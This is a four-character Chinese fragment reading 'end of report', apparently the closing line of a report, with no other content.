報告結束